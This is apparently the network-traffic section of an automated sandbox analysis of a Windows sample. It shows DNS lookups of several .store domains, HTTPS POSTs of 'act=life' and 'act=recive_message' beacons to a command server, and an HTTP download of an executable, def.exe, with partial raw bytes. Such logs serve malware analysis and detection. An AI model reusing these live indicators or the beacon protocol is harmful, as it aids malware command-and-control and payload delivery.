Oct 29, 2024 04:52:59.247601986 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.247612953 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.247623920 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.247623920 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.247636080 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.247648001 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.247658014 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.247659922 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.247667074 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.247673035 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.247684956 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.247690916 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.247697115 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.247709036 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.247713089 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.247720957 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.247733116 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.247749090 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.247785091 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.248317957 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.248330116 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.248339891 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.248351097 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.248361111 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.248373032 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.248380899 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.248384953 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.248398066 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.248408079 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.248419046 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.248421907 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.248421907 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.248433113 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.248454094 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.248467922 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.248475075 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.248481035 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.248492002 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.248502016 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.248513937 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.248526096 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.248537064 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.248537064 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.248548985 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.248557091 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.248562098 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.248573065 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.248577118 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.248584986 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.248595953 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.248608112 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.248611927 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.248620987 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.248632908 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.248634100 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.248645067 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.248653889 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.248656988 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.248670101 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.248682022 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.248687983 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.248692989 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.248722076 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.248729944 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.249272108 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.249299049 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.249309063 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.249320030 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.249331951 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.249344110 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.249356031 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.249361992 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.249368906 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.249382019 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.249387026 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.249393940 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.249406099 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.249416113 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.249418020 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.249427080 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.249433041 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.249439001 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.249442101 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.249444962 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.249456882 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.249464035 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.249471903 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.249481916 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.249485970 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.249492884 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.249505043 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.249515057 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.249545097 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.274425030 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:53:01.728710890 CET	49917	80	192.168.2.5	185.215.113.16

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 29, 2024 04:52:03.149395943 CET	49535	53	192.168.2.5	1.1.1.1
Oct 29, 2024 04:52:03.159390926 CET	53	49535	1.1.1.1	192.168.2.5
Oct 29, 2024 04:52:03.163588047 CET	61658	53	192.168.2.5	1.1.1.1
Oct 29, 2024 04:52:03.173441887 CET	53	61658	1.1.1.1	192.168.2.5
Oct 29, 2024 04:52:03.174474955 CET	50212	53	192.168.2.5	1.1.1.1
Oct 29, 2024 04:52:03.183353901 CET	53	50212	1.1.1.1	192.168.2.5
Oct 29, 2024 04:52:03.184295893 CET	58757	53	192.168.2.5	1.1.1.1
Oct 29, 2024 04:52:03.193770885 CET	53	58757	1.1.1.1	192.168.2.5
Oct 29, 2024 04:52:03.194835901 CET	52513	53	192.168.2.5	1.1.1.1
Oct 29, 2024 04:52:03.210360050 CET	53	52513	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 29, 2024 04:52:03.149395943 CET	192.168.2.5	1.1.1.1	0x211d	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Oct 29, 2024 04:52:03.163588047 CET	192.168.2.5	1.1.1.1	0x9dd	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Oct 29, 2024 04:52:03.174474955 CET	192.168.2.5	1.1.1.1	0x9222	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Oct 29, 2024 04:52:03.184295893 CET	192.168.2.5	1.1.1.1	0x25c7	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false
Oct 29, 2024 04:52:03.194835901 CET	192.168.2.5	1.1.1.1	0xc6b2	Standard query (0)	necklacedmny.store	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 29, 2024 04:52:03.159390926 CET	1.1.1.1	192.168.2.5	0x211d	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Oct 29, 2024 04:52:03.173441887 CET	1.1.1.1	192.168.2.5	0x9dd	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Oct 29, 2024 04:52:03.183353901 CET	1.1.1.1	192.168.2.5	0x9222	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 29, 2024 04:52:03.193770885 CET	1.1.1.1	192.168.2.5	0x25c7	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 29, 2024 04:52:03.210360050 CET	1.1.1.1	192.168.2.5	0xc6b2	No error (0)	necklacedmny.store		188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 29, 2024 04:52:03.210360050 CET	1.1.1.1	192.168.2.5	0xc6b2	No error (0)	necklacedmny.store		188.114.96.3	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

necklacedmny.store

185.215.113.16

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49917	185.215.113.16	80	6664	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 04:52:55.596462011 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 29, 2024 04:52:56.496417046 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 03:52:56 GMT Content-Type: application/octet-stream Content-Length: 2838528 Last-Modified: Tue, 29 Oct 2024 03:25:40 GMT Connection: keep-alive ETag: "672055b4-2b5000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 c0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 2c 00 00 04 00 00 af 68 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$+ `@ ,h+`Ui` @ @.rsrc`2@.idata 8@bbzqfojp+:@ynvwdqnr ++@.taggant@+".+@
Oct 29, 2024 04:52:56.496480942 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 29, 2024 04:52:56.496535063 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 29, 2024 04:52:56.496572018 CET	336	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 29, 2024 04:52:56.496606112 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 29, 2024 04:52:56.496640921 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 29, 2024 04:52:56.496676922 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 29, 2024 04:52:56.496728897 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 29, 2024 04:52:56.496763945 CET	848	IN	Data Raw: 59 6d 38 81 2e ef de ca 3e 84 c8 81 63 b9 db 91 54 f5 fc 17 bd e7 8c e2 72 84 5c a9 95 c2 d3 d1 0e 58 fb 67 6e 93 ad a3 5f f6 2c c3 07 95 d0 ae 45 79 34 02 38 d6 eb fc 96 c3 b5 27 00 2d 0b f2 20 c1 b6 bf 85 5a 5d 79 90 e2 ff c9 ab 43 9a 67 33 93 Data Ascii: Ym8.>cTr\Xgn_,Ey48'- Z]yCg3O>F5 /~'.GSuU-d ,Q~}h-)B'X/>YF!D.%z[QunI?>#mOv=l&b
Oct 29, 2024 04:52:56.496814966 CET	1236	IN	Data Raw: 84 17 37 a5 2f da 42 cb 4b 45 b8 d9 c7 da 47 c6 77 ac 5e c0 15 c2 ba 69 86 78 e6 5d 3c df 75 89 2b 99 88 4f 2a da 3e 52 2a b7 e0 59 e9 da a4 c9 ba 7f f9 a7 85 da 98 99 ed da 94 e5 94 2f 10 f9 2a e7 9e 70 73 ef a2 fd a1 94 fc e0 63 42 f4 89 0d 87 Data Ascii: 7/BKEGw^ix]<u+O>RY/pscBs&s_~u<][G$QC4Kc>k>iQ;#4Bs`\3\6=*UT[LDR#C}$@d#hC
Oct 29, 2024 04:52:56.502182007 CET	1236	IN	Data Raw: 1b 82 ea 1e d9 fe a8 2e 75 c8 b5 71 db bb c5 95 d8 21 2b d6 93 2d a2 59 5d a1 ee aa 3c 5a e8 dd 74 91 fa 90 15 c5 98 ab 4c 72 88 84 61 9d 05 97 91 e3 6e 45 4c fd a1 88 a7 9f 98 d4 40 a2 68 83 38 23 af 76 3e d4 9a b1 7d ca f4 28 29 b1 ef a0 5e 3f Data Ascii: .uq!+-Y]<ZtLranEL@h8#v>}()^?'W?^EC-)>R\<jU!c%ELntAb(^T7DKS!3x8}j>a:J^C92

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	188.114.97.3	443	6664	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:52:03 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: necklacedmny.store
2024-10-29 03:52:03 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-29 03:52:04 UTC	1009	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:52:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=cslqu8ceg75qopdql0cpfj155i; expires=Fri, 21 Feb 2025 21:38:43 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bS3nBoHlSngVDyY1akwJ4YPspvabJ8UYnYUjfilrlvrOjMKiuM%2FXppw1lM7tXtTuFRUkaXaIDbcrr5ryPubVgeAHa5SPSDKspPfNT5oAPC8DOVMXGx8R6C7A219nZS03PIqtDA4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da035f0e808e5f2-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1347&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2844&recv_bytes=909&delivery_rate=1921698&cwnd=251&unsent_bytes=0&cid=3cc448e69907c300&ts=552&x=0"
2024-10-29 03:52:04 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-10-29 03:52:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	188.114.97.3	443	6664	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:52:05 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: necklacedmny.store
2024-10-29 03:52:05 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-10-29 03:52:05 UTC	1017	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:52:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=coo0p0orsibsm4u1h350uvjdvc; expires=Fri, 21 Feb 2025 21:38:44 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ozFdX4R5H1DigLHGGT8JIFvSvsh00hKiH%2BnvOVX38ZIDUYUTJeDxRm%2B6f%2FbZJfbizJMmc6ZHl1iRkVf3g7U6%2Fg3GkhggoS5SSluWpYQWa9T21fR%2BgjiVCuu9gAXjapvTTh87W7c%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da035f859d42cd6-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1177&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=954&delivery_rate=2190620&cwnd=251&unsent_bytes=0&cid=37a6b902aaa39319&ts=336&x=0"
2024-10-29 03:52:05 UTC	352	IN	Data Raw: 31 64 38 64 0d 0a 51 46 32 53 7a 68 6b 42 2b 58 5a 57 4e 68 6f 4e 31 59 67 4e 7a 33 38 39 69 2f 77 2f 57 71 63 65 37 41 42 53 31 65 6b 44 38 38 63 37 66 2b 54 73 49 7a 58 56 56 43 56 54 4f 44 65 68 2b 6e 69 71 55 78 2f 71 6d 42 31 67 77 58 2b 41 63 7a 66 35 79 33 57 65 35 58 6f 37 38 36 4a 71 5a 4e 56 55 4d 30 34 34 4e 34 37 7a 4c 36 6f 52 48 37 48 65 57 6a 44 46 66 34 42 69 4d 37 36 47 63 35 2b 6b 4b 44 48 31 70 6e 78 69 6e 52 63 36 57 33 39 6f 73 4f 6c 6e 6f 52 5a 51 34 35 45 64 64 6f 56 37 6c 69 4a 6f 39 36 52 6d 68 36 59 4e 50 4f 47 6c 4f 33 7a 56 44 58 52 54 64 43 2f 76 71 6d 79 71 48 56 48 74 6d 46 51 79 7a 33 61 49 59 7a 61 2f 6d 57 71 56 72 79 67 2f 39 71 64 32 61 34 6b 61 4d 46 78 30 62 72 72 70 4c 2b 4e 64 57 50 48 65 42 58 69 57 54 6f 31 7a 49 Data Ascii: 1d8dQF2SzhkB+XZWNhoN1YgNz389i/w/Wqce7ABS1ekD88c7f+TsIzXVVCVTODeh+niqUx/qmB1gwX+Aczf5y3We5Xo786JqZNVUM044N47zL6oRH7HeWjDFf4BiM76Gc5+kKDH1pnxinRc6W39osOlnoRZQ45EddoV7liJo96Rmh6YNPOGlO3zVDXRTdC/vqmyqHVHtmFQyz3aIYza/mWqVryg/9qd2a4kaMFx0brrpL+NdWPHeBXiWTo1zI
2024-10-29 03:52:05 UTC	1369	IN	Data Raw: 4a 36 62 70 73 47 50 46 39 7a 61 71 58 68 5a 71 41 51 58 2b 53 55 55 6a 76 46 65 34 52 6f 50 37 32 50 62 4a 79 6a 49 6a 2b 77 34 6a 74 6b 67 31 52 73 46 46 74 71 70 2b 31 6a 75 31 39 6c 71 59 45 54 49 59 56 37 67 69 4a 6f 39 34 4e 6b 6b 71 59 70 4d 50 4f 6b 63 48 47 62 42 6a 4a 5a 66 58 32 78 37 32 47 6e 48 6b 33 6a 6b 46 73 37 7a 48 65 48 5a 7a 65 7a 79 79 2f 52 6f 6a 70 2f 71 4f 78 61 62 70 41 59 50 6b 4e 34 4c 36 69 6b 64 75 30 61 55 36 6e 47 48 54 7a 45 65 49 39 6d 50 72 6d 50 62 5a 65 72 4c 7a 44 32 70 6e 74 6b 6b 52 77 38 56 58 56 6b 75 4f 70 71 6f 42 6c 5a 35 5a 39 59 65 49 73 38 69 58 70 77 37 38 74 50 6c 71 59 77 66 63 57 76 64 57 32 63 41 6e 52 4c 4e 6e 62 33 37 57 50 74 52 52 2f 6e 6d 31 49 71 78 47 36 4c 62 43 4b 37 6a 6d 65 63 70 69 77 2f 39 Data Ascii: J6bpsGPF9zaqXhZqAQX+SUUjvFe4RoP72PbJyjIj+w4jtkg1RsFFtqp+1ju19lqYETIYV7giJo94NkkqYpMPOkcHGbBjJZfX2x72GnHk3jkFs7zHeHZzezyy/Rojp/qOxabpAYPkN4L6ikdu0aU6nGHTzEeI9mPrmPbZerLzD2pntkkRw8VXVkuOpqoBlZ5Z9YeIs8iXpw78tPlqYwfcWvdW2cAnRLNnb37WPtRR/nm1IqxG6LbCK7jmecpiw/9
2024-10-29 03:52:05 UTC	1369	IN	Data Raw: 63 41 6e 52 4c 4e 6e 62 33 37 57 50 74 52 52 2f 6c 6c 31 30 7a 7a 33 69 4f 5a 54 32 79 69 47 61 53 71 43 55 31 2f 71 74 2f 62 35 49 5a 4d 6c 52 2f 61 37 4c 34 61 71 51 52 55 36 6e 51 48 54 2f 64 50 4e 59 69 48 37 43 64 59 72 36 6d 4d 7a 61 77 73 7a 56 36 32 78 4d 34 46 43 41 76 73 4f 39 6e 70 68 74 58 36 59 78 59 4e 73 35 39 68 47 51 78 75 6f 64 6e 6b 61 51 69 4f 66 79 73 66 47 53 4a 42 6a 46 53 61 6d 58 33 70 43 2b 71 42 52 2b 78 33 6d 73 6f 30 6d 32 59 49 41 57 30 68 57 2b 57 73 32 49 67 76 72 55 37 5a 4a 64 55 62 42 52 7a 62 37 76 74 5a 36 73 5a 56 2b 61 52 56 43 72 45 63 49 42 77 4e 37 65 43 62 35 36 70 4b 7a 4c 33 6f 58 42 70 6c 68 41 7a 56 54 67 68 39 2b 31 33 37 55 55 66 33 34 35 51 4e 4f 74 33 67 6d 74 77 71 4d 56 34 30 61 49 75 66 36 6a 73 66 32 Data Ascii: cAnRLNnb37WPtRR/ll10zz3iOZT2yiGaSqCU1/qt/b5IZMlR/a7L4aqQRU6nQHT/dPNYiH7CdYr6mMzawszV62xM4FCAvsO9nphtX6YxYNs59hGQxuodnkaQiOfysfGSJBjFSamX3pC+qBR+x3mso0m2YIAW0hW+Ws2IgvrU7ZJdUbBRzb7vtZ6sZV+aRVCrEcIBwN7eCb56pKzL3oXBplhAzVTgh9+137UUf345QNOt3gmtwqMV40aIuf6jsf2
2024-10-29 03:52:05 UTC	1369	IN	Data Raw: 55 48 31 71 73 2b 31 72 71 78 49 66 70 39 35 61 49 49 55 6b 7a 6b 30 58 67 73 6c 41 71 2b 55 39 63 65 6e 73 66 47 2f 62 54 48 52 59 65 32 4f 2f 35 57 6d 6b 45 56 58 67 6c 56 45 7a 77 58 43 48 5a 7a 61 32 6a 6d 53 51 6f 53 34 31 39 71 39 34 62 4a 51 62 50 42 51 32 4c 37 44 79 4c 2f 56 64 65 76 36 56 55 7a 36 46 59 38 42 37 63 4c 43 48 49 63 6e 6c 4c 6a 62 32 71 6e 35 76 6d 68 49 38 55 58 42 72 74 75 78 70 72 68 4a 62 37 4a 39 53 50 4d 6c 79 68 47 4d 78 75 34 42 75 6d 71 42 69 63 62 43 72 59 79 50 44 56 41 56 58 62 6e 69 6e 35 69 2b 79 55 30 61 70 6d 56 46 34 6e 54 79 50 63 44 71 39 68 57 53 65 6f 43 45 77 39 36 46 39 62 35 45 64 50 46 4a 33 5a 71 58 70 59 36 4d 61 55 65 57 51 55 44 4c 47 63 63 34 73 63 4c 43 54 49 63 6e 6c 44 6a 6a 39 67 6e 42 76 6e 46 51 Data Ascii: 